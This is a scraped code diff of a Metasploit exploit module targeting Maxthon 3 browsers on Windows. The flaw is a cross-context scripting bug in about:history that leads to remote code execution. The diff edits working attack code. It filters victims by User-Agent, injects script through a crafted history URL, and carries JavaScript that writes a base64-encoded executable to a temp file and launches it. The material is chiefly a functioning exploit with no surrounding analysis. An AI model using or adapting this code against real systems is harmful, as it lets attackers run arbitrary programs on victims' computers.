@@ -22,14 +22,16 @@ def initialize(info = {})
22
22
Injection in such privileged/trusted browser zone can be used to modify
23
23
configuration settings and execute arbitrary commands.
24
24
} ,
25
- 'License' => MSF_LICENSE ,
25
+ 'License' => BSD_LICENSE ,
26
26
'Author' =>
27
- [
27
+ [
28
28
'Roberto Suggi Liverani' , # Discovered the vulnerability and developed msf module
29
+ 'sinn3r' , # msf module
30
+ 'juan vazquez' # msf module
29
31
] ,
30
32
'References' =>
31
33
[
32
- [ 'URL' , 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html' ]
34
+ [ 'URL' , 'http://blog.malerisch.net/2012/12/maxthon-cross-context-scripting-xcs-about-history-rce.html' ] ,
33
35
] ,
34
36
'Payload' =>
35
37
{
@@ -38,35 +40,32 @@ def initialize(info = {})
38
40
'Platform' => 'win' ,
39
41
'Targets' =>
40
42
[
41
- [ 'Maxthon 3 on Windows' , { } ]
43
+ [ 'Maxthon 3 (prior to 3.3) on Windows' , { } ]
42
44
] ,
43
45
'DisclosureDate' => 'Nov 26 2012' ,
44
46
'DefaultTarget' => 0
45
47
) )
46
48
end
47
49
48
- def is_maxthon3? ( request )
49
- request . headers [ 'User-Agent' ] =~ /Maxthon\/ 3\. 0/ ? true : false
50
- end
51
-
52
50
def on_request_uri ( cli , request )
53
- if not is_maxthon3? ( request )
54
- print_error ( "Client isn't a Maxthon3 browser. Sending 404" )
51
+
52
+ if request . headers [ 'User-agent' ] !~ /Maxthon\/ 3/ or request . headers [ 'User-agent' ] !~ /AppleWebKit\/ 534.12/
53
+ print_status ( "Sending 404 for User-Agent #{ request . headers [ 'User-agent' ] } " )
55
54
send_not_found ( cli )
55
+ return
56
56
end
57
57
58
- html_hdr = %Q|
58
+ html_hdr = %Q^
59
59
<html>
60
60
<head>
61
61
<title>Loading</title>
62
- |
63
-
64
- html_ftr = %Q|
62
+ ^
63
+ html_ftr = %Q^
65
64
</head>
66
65
<body >
67
66
<h1>Loading</h1>
68
67
</body></html>
69
- |
68
+ ^
70
69
71
70
case request . uri
72
71
when /\? jspayload/
@@ -83,37 +82,34 @@ def on_request_uri(cli, request)
83
82
# now this is base64 encoded payload which needs to be passed to the file write api in maxthon.
84
83
# Then file can be launched via Program DOM API, because of this only Maxthon 3.1 versions are targeted.
85
84
# The Program DOM API isn't available on Maxthon 3.2 and upper versions.
86
- content = %Q{
87
- if(maxthon.program)
88
- {
89
- var fileTemp = new maxthon.io.File.createTempFile("test","exe");
90
- var fileObj = maxthon.io.File(fileTemp);
91
- maxthon.io.FileWriter(fileTemp);
92
- maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{ penc2 } ");
93
- maxthon.program.Program.launch(fileTemp.name_,"C:");
94
- }
85
+ content = %Q|
86
+ if(maxthon.program)
87
+ {
88
+ var fileTemp = new maxthon.io.File.createTempFile("test","exe");
89
+ var fileObj = maxthon.io.File(fileTemp);
90
+ maxthon.io.FileWriter(fileTemp);
91
+ maxthon.io.writeDataURL("data:application/x-msdownload;base64,#{ penc2 } ");
92
+ maxthon.program.Program.launch(fileTemp.name_,"C:");
95
93
}
94
+ |
96
95
97
96
when /\? history/
98
97
js = %Q|
99
98
window.onload = function() {
100
99
location.href = "about:history";
101
100
}
102
101
|
103
-
104
102
content = %Q|
105
103
#{ html_hdr }
106
104
<script>
107
105
#{ js }
108
106
</script>
109
107
#{ html_ftr }
110
108
|
111
-
112
109
when get_resource ( )
113
110
print_status ( "Sending #{ self . name } payload for request #{ request . uri } " )
114
111
115
112
js = %Q|
116
-
117
113
url = location.href;
118
114
url2 = url + "?jspayload=1";
119
115
inj = "?history#%22/><img src=a onerror=%22"
0 commit comments